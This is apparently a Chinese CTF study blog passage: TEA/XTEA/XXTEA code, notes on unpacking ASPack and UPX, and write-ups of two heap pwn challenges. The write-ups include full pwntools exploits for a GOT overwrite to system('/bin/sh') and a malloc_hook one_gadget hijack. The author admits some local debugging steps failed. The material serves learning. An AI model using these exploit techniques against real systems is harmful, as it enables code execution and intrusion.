// 密钥(小端序十六进制)
uint32_t key[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

// 打印原始明文
printf("原始明文(小端序十六进制):\n");
for (int i = 0; i < 8; i++) {
printf("0x%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

// 对每个64位分组进行加密
for (int i = 0; i < 8; i += 2) {
uint32_t v[2] = { plaintext[i], plaintext[i + 1] };
encrypt(v, key);
plaintext[i] = v[0];
plaintext[i + 1] = v[1];
}

// 打印加密后的密文
printf("\n加密后的密文(小端序十六进制):\n");
for (int i = 0; i < 8; i++) {
printf("0x%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

return 0;
}

python和c与语言在tea加密的时候会发现有时候会不一样,其中有可能是小端序储存的问题。

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t k[4] = {0x34333231, 0x38373635, 0x32313039, 0x36353433}; // 密钥
uint32_t blocks[4][2] = {
{0x4438A9E2, 0x39D00322}, // 密文块1
{0x55564858, 0x0414AC05}, // 密文块2
{0x4D66EF71, 0x5ABD1754}, // 密文块3
{0x94554B4A, 0x8F3245C0} // 密文块4
};

for (int i = 0; i < 4; i++) {
uint32_t v[2] = {blocks[i][0], blocks[i][1]};
decrypt(v, k);
// 将解密后的uint32_t转换为小端序字节序列并输出
uint8_t *bytes = (uint8_t *)v;
for (int j = 0; j < 8; j++) {
printf("%c", bytes[j]);
}
}
printf("\n");
return 0;
}

介绍

TEA(Tiny Encryption Algorithm)是一种分组密码算法,由David Wheeler和Roger Needham于1994年提出。它采用64位数据块和128位

密钥,具有简单、高效的特点。算法使用32轮循环的Feistel结构,每轮操作包括移位、异或和加法

最常魔改点

delta = 0x9e3779b9(标准) 这里经常会被换成别的数据

在反汇编中x-=0x61c88647和x+=0x9e3779b9,这两个值是等价的。

进行32轮循环,每轮执行以下操作:

1
2
3
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

解密的换就反过来进行32次就可以了

1
2
3
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;

xtea

加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* XTEA加密函数 */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0;
v[1] = v1;
}

int main() {
// 原始明文(小端序十六进制)
uint32_t plaintext[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};

// 原始密钥(小端序十六进制)
uint32_t const key[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

unsigned int num_rounds = 32;

printf("原始明文:\n");
for (int i = 0; i < 8; i++) {
printf("%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

// 对每个64位块进行加密
for (int i = 0; i < 8; i += 2) {
uint32_t block[2] = { plaintext[i], plaintext[i + 1] };
encipher(num_rounds, block, key);
plaintext[i] = block[0];
plaintext[i + 1] = block[1];
}

printf("\n加密后的密文:\n");
for (int i = 0; i < 8; i++) {
printf("%08X ", plaintext[i]);
if (i % 2 == 1) printf("\n");
}

return 0;
}

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdint.h>

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t const key[4] = { 0x34333231, 0x38373635, 0x32313039, 0x36353433 }; // 密钥
unsigned int r = 32; // 轮数

// 密文分组
uint32_t ciphertext[4][2] = {
{0x37DB3CE9, 0x6C07F159},
{0xE1893135, 0x57978EA8},
{0xB159F7E6, 0x439F8389},
{0x988499C3, 0x9765BBF9}
};

printf("解密后的数据:\n");
for (int i = 0; i < 4; i++) {
uint32_t v[2] = { ciphertext[i][0], ciphertext[i][1] };
decipher(r, v, key);
printf("组 %d: 0x%08X 0x%08X\n", i + 1, v[0], v[1]);

// 将解密后的32位整数转换为字节序列(小端序)以显示为字符串
unsigned char* bytes = (unsigned char*)v;
printf(" 作为字节序列: ");
for (int j = 0; j < 8; j++) {
printf("%02X ", bytes[j]);
}
printf("\n 可能作为字符串: ");
for (int j = 0; j < 8; j++) {
if (bytes[j] >= 32 && bytes[j] <= 126) {
printf("%c", bytes[j]);
}
else {
printf(".");
}
}
printf("\n\n");
}

return 0;
}

介绍

XTEA(eXtended TEA)是 TEA 算法的改进版,由 David Wheeler 和 Roger Needham 于 1997 年提出,主要修复了 TEA 的相关密钥攻击漏洞,以 64 位为数据块、128 位为密钥,通过 32 轮包含加 / 减、循环移位和异或的操作实现加密解密,因轻量易实现、对资源需求低,常用于嵌入式设备等场景。

最常魔改点

delta是魔数0x9E3779B9 这个数据经常被换。

加密核心

1
2
3
4
5
6
7
8
9
10
11
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9; // 初始化
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); // 对左半块操作
sum += delta; // 更新“轮常量”
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); // 对右半块操作
}
v[0] = v0; // 加密后的左半块
v[1] = v1; // 加密后的右半块
}

解密的换就反过来进行

1
2
3
4
5
6
7
8
9
10
11
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds; // 初始化sum为最终值
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); // 逆向操作右半块
sum -= delta; // 逆向更新sum
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); // 逆向操作左半块
}
v[0] = v0;
v[1] = v1;
}

xxtea

加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdint.h>

#define DELTA 0x9e3779b9
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) {
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
}

int main() {
uint32_t v[8] = {
0x67616C66, 0x3332317B, 0x37363534, 0x30303938,
0x34333231, 0x38373635, 0x32313039, 0x7D353433
};
uint32_t const k[4] = { 0x34333231, 0x38373635, 0x32313039, 0x36353433 };
int n = 8;

printf("原始明文(小端序十六进制):\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
}
printf("\n");

btea(v, n, k);

printf("加密后的数据(十六进制):\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
}
printf("\n");

return 0;
}

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdint.h>

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main() {
// 密文数据 (小端序十六进制)
uint32_t v[8] = {
0x3E95DFCB, 0x608F99DA, 0x40ABC551, 0x941490C5,
0x7985C1B9, 0x20FC9B0A, 0x23C095EB, 0x62EFB4EE
};

// 密钥 (小端序十六进制)
uint32_t const k[4] = {
0x34333231, 0x38373635, 0x32313039, 0x36353433
};

int n = 8; // 密文长度为8个32位无符号整数

printf("密文数据:\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
if ((i + 1) % 4 == 0) printf("\n");
}

// 解密
btea(v, -n, k);

printf("\n解密后的数据:\n");
for (int i = 0; i < n; i++) {
printf("0x%08X ", v[i]);
if ((i + 1) % 4 == 0) printf("\n");
}

// 将解密后的数据解释为字符
printf("\n解密后的字符串:\n");
unsigned char* bytes = (unsigned char*)v;
for (int i = 0; i < n * 4; i++) {
if (bytes[i] >= 32 && bytes[i] <= 126) {
printf("%c", bytes[i]);
}
else {
printf("\\x%02X", bytes[i]);
}
}
printf("\n");

return 0;
}

介绍

XXTEA(Corrected Block TEA)是 XTEA 算法的优化升级版,专为解决 XTEA 对数据块长度的限制而生,能以 32 位无符号整数为基本单位,对任意长度的数据进行加密解密;它延续了轻量级特性,仅依赖基础算术与位运算,代码量少、资源占用低,同时优化了轮函数设计,增强抗攻击能力,广泛用于嵌入式设备、物联网终端、小型通信协议等对算力和存储要求严苛的场景。

最常魔改点

define DELTA 0x9e3779b9 这个数据经常被换。

加密原理

  • 输入:明文数组 v(8个32位整数)、数组长度 n=8、密钥 k(4个32位整数)。
  • 关键步骤
    • 计算轮数 rounds = 6 + 52 / n(确保充分混淆)。
    • 初始化 sum = 0z = v[n-1]
    • 多轮循环(每轮 sum += DELTA(0x9e3779b9)):
      • 计算 e = (sum >> 2) & 3(动态选择密钥索引)。
      • 遍历数组(除最后一个元素),使用 MX 函数更新每个 v[p]v[p] += MXMX 混合 y(下一个元素)、z(前一个元素)、密钥和 sum)。
      • 更新最后一个元素 v[n-1] += MX(使用 y = v[0])。
  • 输出:密文数组 v(原始明文被加密)。

解密原理

  • 输入:密文数组 v、负长度 -n(触发解密模式)、相同密钥 k
  • 关键步骤
    • n 的绝对值,计算相同轮数 rounds
    • 初始化 sum = rounds * DELTA(加密最终值),y = v[0]
    • 多轮循环(每轮 sum -= DELTA):
      • 计算 e(同加密)。
      • 反向遍历数组(从最后一个元素到第二个),使用 v[p] -= MX(逆操作,恢复加密前值)。
      • 更新第一个元素 v[0] -= MX
  • 输出:明文数组 v(密文被解密)。

先用dbg打开,F8步入发现第一个esp发生变化(除了载入时第一次变红)在ESP硬件下断点。

0

F9达到jne,继续F8,ret后面返回的就是oep的入口。

1

oep的入口

2

在这里dump就可以了

3

把第一步转储的修复

4

生成00.aspack_dump_SCY.exe用IDA打开就是脱壳了的。

感谢霍爷教我upx脱壳

第一步设置入口处断点,只保留入口处断点

1

调试–>运行 ,达到pushad

2

在堆栈区下断点

3

F9运行到popad

4

看到循环F4跳过

5

接着看到一大部分寄存器初始化

6

F7单步进入

7

达到入口

8

用syclla

9

先点击转储,出现一个dump.exe在用IAT两次确定后获取导入,最后修复转储是选择刚刚的dump.exe就可以得到dump_SCY.exe,用IDA打开

10

成功脱壳。

参考文章

160

找到漏洞点在exit处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl sub_80488C0(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && *((_DWORD *)&unk_804B080 + a1) )
{
v2 = 0;
printf("text length: ")
__isoc99_scanf("%u%c", &v2);
if ( **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
sub_8048846(**((_DWORD **)&unk_804B080 + a1), v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}
1
**((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4)

这个判断处在漏洞,它是通过限制修改的长度,使得我们自己创建的chunk地址加上修改长度不能超过系统创建的chunk的长度。

但是这种限制是可以绕过的。

虚拟机高级会自己检查出堆溢出,等我配个低级的虚拟机再继续来写,不然无法调试。

安装好了ubuntu20继续做题。

来动调看看变化,还是有自动检查,不知道什么问题。只能先放这里了,目前只只能理论上理解这题了。

附个佬的exp,再用图来解释攻击过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("xxxx", xxxx)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("xxxx.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data,size1,data1):
sla(b"Action: ",b"0")
ru(b"size of description: ")
sl(str(size))
ru(b"name: ")
sl(data)
ru(b"text length: ")
sl(str(size1))
ru(b"text: ")
sl(data1)

def free(idx):
sla(b"Action: ",b"1")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Action: ",b"2")
sla(b"index: ",str(idx))

def edit(idx,size,data):
sla(b"Action: ",b"3")
sla(b"index: ",str(idx))
ru(b"text length: ")
sl(str(size))
ru(b"text: ")
sl(data)


free_got = elf.got['free']

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")


edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)


# gdb.attach(io)

itr()

Step 1:连续 add 三次后的初始布局(A 与 S 紧挨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk0 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0090
| 系统chunk0 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee0098 |
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # add(0x80) "bbbb"
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # add(0x80) "aaaa"
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # add(0x80) "/bin/sh;"
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 2:free(0) 后,A0+S0 合并为空闲(低地址形成大洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+----------------------+ <-- 0x8ee0000
| FREE(A0+S0) | # free(0) 后 A0 与 S0 合并为空闲段
| 范围: 0x8ee0000 ~ 0x8ee0118
+----------------------+ <-- 0x8ee0118
| 主chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 保持不变
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 保持不变
| 数据区: 0x8ee02b8 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 3:再次 add(0x100, "vvvv", 0x100, "gggg")

新的 主chunk3(0x100) 优先复用低地址的 FREE(把洞吃掉);

但配套的 系统chunk3(0x100) 因附近无相邻空间,只能从 TOP CHUNK(高地址)再切一块出来,因此被甩到更远处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 新的用户块,复用低地址 FREE
| 数据区: 0x8ee0008 |
+----------------------+ <-- 0x8ee0108
| 主chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee0120 |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # 仍在原位
| 数据区: 0x8ee01a8 |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # 仍在原位
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400 (举例)
| 系统chunk3 (0x100) | # 从 TOP 切分的新系统块(远端高地址)
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

Step 4:edit(3,0x200, ...) 溢出伪造

  • 主chunk3(0x100) 本来在低地址,edit(3,0x200, …) 写入 超过 0x100 的数据,覆盖到相邻的 主chunk1 / 系统chunk1 的头部。
  • payload 把它们伪造成 size=0x89 的 fake chunk,并在 fd 指针写入 free@got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+----------------------+ <-- 0x8ee0000
| 主chunk3 (0x100) | # 用户可控,edit(3,...) 时从这里开始写
| 数据区: 0x8ee0008 |
| ... 溢出覆盖 ... |
| fake size=0x89 | # 伪造chunk头
| fd=free_got | # 链入 fastbin
+----------------------+ <-- 0x8ee0108
| 主chunk1 (伪造头) | # 被覆盖 size/FD 改掉
| fd=free_got |
+----------------------+ <-- 0x8ee01a0
| 系统chunk1 (0x80) | # header 被覆盖
| ... |
+----------------------+ <-- 0x8ee0228
| 主chunk2 (0x80) | # 还在原位
| 数据区: 0x8ee0230 |
+----------------------+ <-- 0x8ee02b0
| 系统chunk2 (0x80) | # /bin/sh
| 数据区: 0x8ee02b8 |
+----------------------+ <-- 0x8ee0400
| 系统chunk3 (0x100) | # 远端 TOP 分配
| 数据区: 0x8ee0408 |
+----------------------+
| TOP CHUNK |
高地址 ↑

step 5:show(1) → 泄露 free@libc

  • 因为 fake FD 指向 free_got,show(1) 会打印出 GOT 表项内容(真实的 free 地址)。
  • 通过 free_addr - libc.sym['free'] 算出 libc 基址。

Step 6:edit(1,0x8,p32(system_addr))

  • free@got 覆写成 system

Step 7:free(2)

  • 系统chunk2 数据区存的是 /bin/sh
  • 执行 free(2) 实际调用了 system("/bin/sh") → getshell 🎉

161

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E3A(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

在edit函数中有off-by-one漏洞

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28311)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size):
sla(b"Choice: ",b"1")
sla(b"size: ",str(size))


def edit(idx,size,data):
sla(b"Choice: ",b"2")
ru(b"index: ")
sl(str(idx))
ru(b"size: ")
sl(str(size))
ru(b"content: ")
s(data)

def free(idx):
sla(b"Choice: ",b"3")
sla(b"index: ",str(idx))

def show(idx):
sla(b"Choice: ",b"4")
sla(b"index: ",str(idx))


add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3


payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x78)
#gdb.attach(io)
#pause()
show(2)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]

one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))

payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)

payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)


# gdb.attach(io)

itr()

详细来解释攻击过程

1
2
3
4
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f72b0 chunk1
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7320 chunk2
Size: 0x70 (with flag bits: 0x71)

Allocated chunk | PREV_INUSE
Addr: 0x60bcb54f7390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x60bcb54f7400
Size: 0x20c00 (with flag bits: 0x20c01)
1
2
3
4
5
6
7
8
9
10
+----------------------+ <-- A (index 0)
| chunk A (0x70) | # 用来 off-by-one
+----------------------+ <-- B (index 1)
| chunk B (0x70) | # 将被改 size=0xe0
+----------------------+ <-- C (index 2)
| chunk C (0x70) | # 后面泄露 libc
+----------------------+ <-- D (index 3)
| chunk D (0x70) | # 隔离,防合并
+----------------------+
| top chunk ... |
1
2
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93290
Size: 0x20 (with flag bits: 0x21) chunk0

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c932b0
Size: 0xe0 (with flag bits: 0xe1) chunk1的大小就被改了

Allocated chunk | PREV_INUSE
Addr: 0x63ea93c93390 chunk3
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x63ea93c93400
Size: 0x20c00 (with flag bits: 0x20c01)

可以看到chunk1的大小就被改了

怎么改变的呢?

0x18会自动补全成0x20此时覆盖掉了pre size,由于off-by-one,我们写入0xe1就可以覆盖chunk1的size从而改变chunk1的大小。

这样做有什么用?

chunk1大小改变后chunk1的用户区就会覆盖到chunk2的头部。

1
free(1)  #free(B) → B(0xe0) 进 unsorted,fd/bk 写入 libc 地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2290
Size: 0x20 (with flag bits: 0x21)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x6271fdbd22b0
Size: 0xe0 (with flag bits: 0xe1)
fd: 0x6271fdbd2

Allocated chunk | PREV_INUSE
Addr: 0x6271fdbd2390
Size: 0x70 (with flag bits: 0x71)

Top chunk | PREV_INUSE
Addr: 0x6271fdbd2400
Size: 0x20c00 (with flag bits: 0x20c01)

这里补充一下

  • glibc 的 free 逻辑(以 2.23 为例):
    • 小于等于 0x80(含 chunk header)的空闲块 → 放入 fastbin
    • 大于 0x80 且小于等于 0x400 → 放入 small bin,但第一次 free 先进入 unsorted bin
    • 更大的 → large bin / top chunk。

👉 总结:一个 chunk 进 unsorted 还是 fastbin,取决于它的 size(含 header)

这样做有什么用?

由上一步chunk1的用户区覆盖到chunk2的头部,当 chunk1 进 unsorted 时,glibc 会在这个空闲块的用户区最前面写入 fd/bk 指针,指向 main_arena这些指针是 libc 地址

由于 chunk1 被“扩成了 0xe0”,它的“用户区”已经覆盖到 chunk2的头和部分用户区;于是 unsorted 的 fd/bk 指针就落在了 C 的用户区里(重叠泄露的关键)

这时 add(0x88) show(2) 将chunk1申请回来再,打印 chunk2,就能读到 main_arena 相关指针,从而泄露 libc。

远程是可以泄露的,但是在本地调试的时候add(0x88)的时候会回直接申请一个新堆块,导致没成功,现在还没找到解决办法,先放这里。

162